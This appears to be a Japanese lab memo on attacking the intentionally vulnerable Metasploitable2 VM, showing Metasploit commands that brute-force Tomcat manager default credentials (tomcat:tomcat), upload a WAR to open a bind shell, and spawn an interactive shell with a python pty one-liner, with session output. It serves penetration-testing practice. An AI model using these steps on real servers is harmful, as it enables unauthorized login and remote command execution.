Metasploitable2のTomcatをエクスプロイトする備忘録です。
Tomcatのデフォルトアカウントが有効になっている脆弱性を利用して、バインドシェルでエクスプロイトします。
Metasploitでエクスプロイトする
Kali LinuxのIPアドレス:192.168.56.10
Metasploitable2のサーバーのIPアドレス:192.168.56.20
Metasploitの起動前にファイルを作成します。
空でもいいようですが、無いとエラーになるため。
touch tomcat_creds
Tomcatの管理者ログインをデフォルトアカウントで、ブルートフォース攻撃します。
ユーザーパスファイルとして、さっき作成したファイルをセットします。
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USERPASS_FILE /root/tomcat_creds
USERPASS_FILE => /root/tomcat_creds
攻撃ポートとして、8180番ポート。
攻撃IPアドレスとして、192.168.56.20をセットします。
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
RPORT => 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
exploitします。
Metasploitable2の場合、ユーザー名:tomcat、パスワード:tomcatでログインできます。
msf6 auxiliary(scanner/http/tomcat_mgr_login) > exploit
[!] No active DB -- Credential data will not be saved!
[-] 192.168.56.20:8180 - LOGIN FAILED: admin:admin (Incorrect)
[-] 192.168.56.20:8180 - LOGIN FAILED: admin:manager (Incorrect)
.
.
.
[-] 192.168.56.20:8180 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.56.20:8180 - Login Successful: tomcat:tomcat
[-] 192.168.56.20:8180 - LOGIN FAILED: both:admin (Incorrect)
.
.
.
[-] 192.168.56.20:8180 - LOGIN FAILED: xampp:ADMIN (Incorrect)
[-] 192.168.56.20:8180 - LOGIN FAILED: xampp:xampp (Incorrect)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
バインドシェルで接続する
exploitを選択します。
msf6 > use exploit/multi/http/tomcat_mgr_upload
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
ターゲットを確認して、Linuxに設定します。
msf6 exploit(multi/http/tomcat_mgr_upload) > show targets
Exploit targets:
=================
Id Name
-- ----
=> 0 Java Universal
1 Windows Universal
2 Linux x86
msf6 exploit(multi/http/tomcat_mgr_upload) > set target 2
target => 2
バインドシェルのpayloadを選択します。
msf6 exploit(multi/http/tomcat_mgr_upload) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
管理者アカウントと攻撃用のIPアドレスとポートをセットします。
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
HttpUsername => tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword tomcat
HttpPassword => tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8180
RPORT => 8180
exploitします。
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying XDceiP0geAte7bNA...
[*] Executing XDceiP0geAte7bNA...
[*] Undeploying XDceiP0geAte7bNA ...
[*] Undeployed at /manager/html/undeploy
[*] Started bind TCP handler against 192.168.56.20:4444
[*] Command shell session 1 opened (192.168.56.10:40615 -> 192.168.56.20:4444) at 2024-10-05 23:01:04 +0900
whoami
tomcat55
hostname
metasploitable
シェルが無いので、対話的シェルの出し方。
python -c 'import pty;pty.spawn("/bin/bash")'
tomcat55@metasploitable:/$
プロンプトが表示されます。